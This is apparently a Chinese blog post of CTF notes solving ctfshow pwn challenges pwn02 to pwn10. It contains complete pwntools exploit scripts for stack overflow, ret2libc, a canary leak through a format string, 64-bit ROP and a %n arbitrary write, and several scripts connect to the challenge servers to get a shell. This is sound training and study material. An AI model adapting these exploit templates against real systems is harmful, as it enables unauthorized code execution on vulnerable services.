ctfshow刷题笔记(pwn篇)

本文记录了作者在ctf比赛中遇到的pwn类题目,详细解析了pwn02至pwn10的解题过程,涉及栈溢出、格式化字符串漏洞、RET2LIBC等技术,包括利用checksec、IDA进行分析,以及利用GDB进行调试和构造exploit。
摘要由CSDN通过智能技术生成

一入pwn坑深似海,从此逆向是路人

pwn02

常规checksec一下
在这里插入图片描述
扔进IDA
在这里插入图片描述
点进pwnme()函数看看,明显的栈溢出
在这里插入图片描述
搜索字符串有/bin/sh
在这里插入图片描述
直接淦它

from pwn import*
io=remote('111.231.70.44',28054)
#io=process('./pwn02')
bin_sh=0x0804850F
payload=b'a'*13+p32(bin_sh)
io.sendline(payload)
io.interactive()

轻松秒杀
在这里插入图片描述

pwn03

依旧常规checksec,只开了NX
在这里插入图片描述
和上一题几乎一样,只是没给后门,得ret2libc了
在这里插入图片描述
需要远程打通,应该是libc版本不同本地打不通

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn03')
#io=process('./pwn03')
io=remote('111.231.70.44',28021)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)

libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

pwn04

常规切克,开了栈保护所以不能直接溢出,我们得绕过canary
在这里插入图片描述

扔进IDA,进vuln函数看看
在这里插入图片描述
printf(buf),明显的格式化字符串漏洞,V3应该就是canary保护生成的随机参数
在这里插入图片描述
汇编代码中的eax中就是V3的值(地址ebp-Ch)

在这里插入图片描述
定位到格式化字符串参数位置是第六个。我们知道%n可以写入输出的字符长度的个数
%$ n 可 以 修 改 第 n u m b e r 个 参 数 的 值 , n可以修改第number个参数的值, nnumber,%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据(不过这题开了canary就不能直接修改
格式 : %12$x 可以直接定位到地12个参数 其他%p,%s,%%n等类似

gdb下个断点调试一下
在这里插入图片描述
输入字符并观察它们的位置(我输入的四个a)
在这里插入图片描述
把内存打印出来
在这里插入图片描述

可以看出图中aaaa的偏移为6,printf打印的是偏移后的下一位地址,在之前的xor处下断点并运行到断点处查看eax里的值
在这里插入图片描述
可以看出eax的偏移为31
在这里插入图片描述
编写如下脚本来泄露canary的地址,注意canary的地址在程序每次运行都会变化,我们可以通过read溢出覆盖到canary

from pwn import*
io=process('./pwn04')
leak_canary='%31$x'
io.recvuntil(b'Hacker!\n')
io.sendline(leak_canary)
canary=hex(int(io.recv(),16))
print(canary)

偏移为0x70-0xc=0x64
在这里插入图片描述
read执行两次(一般canary绕过都是两个输入),所以我们利用溢出第二个read覆盖ret为shellcode地址。
在这里插入图片描述
v3的地址为esp+0x6c=0xffffcf0c
在这里插入图片描述
在这里插入图片描述
在第一次发送leak_canary时canary已经被覆盖则只需要计算v3到ebp的偏移
在这里插入图片描述
在这里插入图片描述
之后就编写脚本

from pwn import*
#io=process('./pwn04')
io=remote('pwn.challenge.ctf.show',28059)
leak_canary='%31$x'
io.recvuntil(b'Hello Hacker!\n')
io.sendline(leak_canary)
canary=int(io.recv(),16)
bin_sh=0x080485AF
payload=b'a'*0x64+p32(canary)+b'b'*12+p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

轻松秒杀
在这里插入图片描述

pwn05(灌水题?)

依旧是经典切克
在这里插入图片描述
什么都有也没开栈保护,最简单的栈溢出签到题
在这里插入图片描述
在这里插入图片描述

from pwn import*
io=process('./pwn05')
#io=remote('pwn.challenge.ctf.show',28059)
bin_sh=0x08048486
payload=b'a'*(0x14+4)+p32(bin_sh)
io.sendline(payload)
io.interactive()

pwn06(灌水题+1)

题目描述是64位pwn05。切都懒得切克
注意64位需要堆栈平衡

from pwn import*
io=process('./pwn06')
#io=remote('pwn.challenge.ctf.show',28059)
bin_sh=0x000000000040057B
payload=b'a'*(0xC+8)+p64(bin_sh)
io.sendline(payload)
io.interactive()

pwn07

切克
在这里插入图片描述
简单的栈溢出,64位版pwn03
在这里插入图片描述
用ROPgadget找到pop_rdi和pop_ret的地址
在这里插入图片描述
套模板就行

from pwn import*
#io=process('./pwn07')
context(arch='amd64',os='linux',log_level='debug')
io=remote('pwn.challenge.ctf.show',28042)
elf=ELF('./pwn07')
libc=ELF('./libc-2.27.so')
puts_libc=libc.sym['puts']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sys_libc=libc.sym['system']
binsh_libc=next(libc.search(b'/bin/sh'))
main=elf.sym['main']
pop_rdi=0x00000000004006e3
pop_ret=0x00000000004004c6
payload=b'a'*(0xc+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
io.recvline()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-puts_libc
system=sys_libc+libc_base
bin_sh=binsh_libc+libc_base
payload=b'a'*(0xc+8)+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()

pwn08(灌水?)

from pwn import*
io=process('./pwn08')
#io=remote('pwn.challenge.ctf.show',28042)
payload=b'a'*(0x80+8)+p64(0x000000000040063B)
io.sendline(payload)
io.interactive()

pwn10

切克
在这里插入图片描述
main函数里F5看看
在这里插入图片描述
明显的格式化字符串漏洞,找不到num这个参数的定义在哪,既然没开栈保护那就可以直接修改,偏移为7
在这里插入图片描述
我们在IDA里找到num的地址
在这里插入图片描述
然后直接跳到num的地址,利用任意写填充16个字节

from pwn import*
#io=process('./pwn10')
io=remote('pwn.challenge.ctf.show',28013)
io.recvuntil(b'try pwn me?')
payload=p32(0x0804A030)+b'a'*12+b'%7$n'
io.sendline(payload)
io.interactive()

在这里插入图片描述

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值